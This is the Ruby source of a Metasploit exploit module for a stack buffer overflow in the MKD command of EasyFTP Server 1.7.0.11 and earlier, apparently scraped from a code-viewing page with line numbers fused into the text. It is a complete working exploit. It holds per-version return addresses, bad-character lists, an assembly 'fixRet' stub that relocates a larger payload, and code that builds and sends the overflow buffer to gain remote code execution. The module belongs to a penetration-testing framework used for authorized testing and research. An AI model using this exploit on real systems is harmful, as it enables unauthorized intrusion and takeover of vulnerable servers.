Path: blob/master/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'EasyFTP Server MKD Command Stack Buffer Overflow',15'Description' => %q{16This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.1117and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which18leads to a stack based buffer overflow.1920NOTE: EasyFTP allows anonymous access by default. However, in order to access the21'MKD' command, you must have access to an account that can create directories.2223After version 1.7.0.12, this package was renamed "UplusFtp".2425This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.26This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by27'fixing' the return address post-exploitation. See references for more information.28},29'Author' => [30'x90c <geinblues[at]gmail.com>', # original version31'jduck' # port to metasploit / modified to use fix-up stub (works with bigger payloads)32],33'License' => MSF_LICENSE,34'References' => [35[ 'OSVDB', '62134' ],36[ 'EDB', '12044' ],37[ 'EDB', '14399' ]38],39'DefaultOptions' => {40'EXITFUNC' => 'thread'41},42'Privileged' => false,43'Payload' => {44'Space' => 512,45'BadChars' => "\x00\x0a\x0d\x2f\x5c",46'DisableNops' => true47},48'Platform' => 'win',49'Targets' => [50[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe51[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe52[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x004041dc } ], # call ebp - from ftpbasicsvr.exe53[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe54[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe55[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe56[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x00404481 } ], # call ebp - from ftpbasicsvr.exe57[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x00404441 } ], # call ebp - from ftpbasicsvr.exe58[ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe59[ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe60],61'DisclosureDate' => '2010-04-04',62'DefaultTarget' => 0,63'Notes' => {64'Reliability' => UNKNOWN_RELIABILITY,65'Stability' => UNKNOWN_STABILITY,66'SideEffects' => UNKNOWN_SIDE_EFFECTS67}68)69)70end7172def check73connect74disconnect7576if (banner =~ /BigFoolCat/)77return Exploit::CheckCode::Detected78end7980return Exploit::CheckCode::Safe81end8283def make_nops(num)84"C" * num85end8687def exploit88connect_login8990# NOTE:91# This exploit jumps to ebp, which happens to point at a partial version of92# the 'buf' string in memory. The fixRet below fixes up the code stored on the93# stack and then jumps there to execute the payload. The value in esp is used94# with an offset for the fixup.95fixRet_asm = %q{96mov edi,esp97sub edi, 0xfffffe1098mov [edi], 0xfeedfed599add edi, 0xffffff14100jmp edi101}102fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string103104buf = ''105106print_status("Prepending fixRet...")107buf << fixRet108buf << make_nops(0x20 - buf.length)109110print_status("Adding the payload...")111buf << payload.encoded112113# Patch the original stack data into the fixer stub114buf[10, 4] = buf[268, 4]115116print_status("Overwriting part of the payload with target address...")117buf[268, 4] = [target.ret].pack('V') # put return address @ 268 bytes118119print_status("Sending exploit buffer...")120send_cmd(['MKD', buf], false)121122handler123disconnect124end125end126127128